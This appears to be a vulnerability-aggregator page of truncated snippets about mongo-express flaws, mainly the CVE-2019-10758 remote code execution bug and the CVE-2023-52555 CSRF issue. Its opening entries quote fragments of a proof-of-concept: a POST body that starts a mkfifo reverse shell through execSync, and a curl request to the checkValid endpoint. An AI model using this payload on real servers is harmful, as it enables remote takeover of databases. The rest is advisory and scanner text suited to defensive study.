CVE-2019-10758

CVE-2019-10758 Удаленное выполнение кода в mongo-express, код обратного шелла: POST BODY 1: document=this.constructor.constructor"return process".mainModule.require"childprocess".execSync"mkfifo /tmp/f" POST BODY 2： document=this.constructor.constructor"return...

CVE-2019-10758

CVE-2019-10758 PoC Configurazione root@kitploit: docker run -p 27017:27017 -d mongo npm install [email protected] cd nodemodules/mongo-express/ && node app.js Exploit cURL root@kitploit: curl 'http://localhost:8081/checkValid' -H 'Authorization: Basic YWRtaW46cGFzcw==' --data...

mongo-express Remote Code Execution

mongo-express before 0.54.0 is vulnerable to remote code execution via endpoints that uses the toBSON method and misuse the vm dependency to perform exec commands in a non-safe environment. id: CVE-2019-10758 info: name: mongo-express Remote Code Execution author: princechaddha severity: critical...

EUVD-2021-1282

Malware in sbrugna...

EUVD-2021-2220

Malware in sbrugna...

CVE-2021-21422

mongo-express is a web-based MongoDB admin interface, written with Node.js and express. 1: As mentioned in this issue: https://github.com/mongo-express/mongo-express/issues/577, when the content of a cell grows larger than supported size, clicking on a row will show full document unescaped, howev...

CVE-2020-24391

mongo-express before 1.0.0 offers support for certain advanced syntax but implements this in an unsafe way. NOTE: this may overlap CVE-2019-10769...

CVE-2019-10758

mongo-express before 0.54.0 is vulnerable to Remote Code Execution via endpoints that uses the toBSON method. A misuse of the vm dependency to perform exec commands in a non-safe environment...

Mongo-Express Detection

Binary data mongoexpressdetect.nbin...

Mongo-Express < 0.54.0 RCE (CVE-2019-10758)

Binary data mongoexpressCVE-2019-10758dc.nbin...

Mongo-Express < 0.54.0 RCE

The version of the mongo-express Node.js module installed on the remote host is prior to 0.54.0. It is, therefore, affected by a remote code execution vulnerability via endpoints that use the 'toBSON' method. A misuse of the vm dependency allows performing 'exec' commands in a non-safe environmen...

sn-cicd (>=4.6.12, <=4.6.17) potentially affected by CVE-2023-52555 via mongo-express (1.0.0-alpha.1)

mongo-express NPM version 1.0.0-alpha.1 is affected by a known vulnerability. The following packages have a transitive dependency on mongo-express and may be impacted: - sn-cicd =4.6.12, =4.6.17 Source cves: CVE-2023-52555 Source advisory: OSV:GHSA-FFFG-CWC9-XVJ7...

mongo-express Cross-site Request Forgery vulnerability

In mongo-express 1.0.2, /admin allows CSRF, as demonstrated by deletion of a Collection...

GHSA-FFFG-CWC9-XVJ7 mongo-express Cross-site Request Forgery vulnerability

In mongo-express 1.0.2, /admin allows CSRF, as demonstrated by deletion of a Collection...

CVE-2023-52555

In mongo-express 1.0.2, /admin allows CSRF, as demonstrated by deletion of a Collection...

CVE-2023-52555

In mongo-express 1.0.2, /admin allows CSRF, as demonstrated by deletion of a Collection...

mongo-express Security Vulnerability

mongo-express is a lightweight, web-based management interface for interactively managing MongoDB databases. A security vulnerability exists in mongo-express version 1.0.2, which stems from the presence of a cross-site request forgery CSRF vulnerability...

CVE-2023-52555

In mongo-express 1.0.2, /admin allows CSRF, as demonstrated by deletion of a Collection...

CVE-2023-52555

In mongo-express 1.0.2, /admin allows CSRF, as demonstrated by deletion of a Collection...

CVE-2023-52555

In mongo-express 1.0.2, /admin allows CSRF, as demonstrated by deletion of a Collection...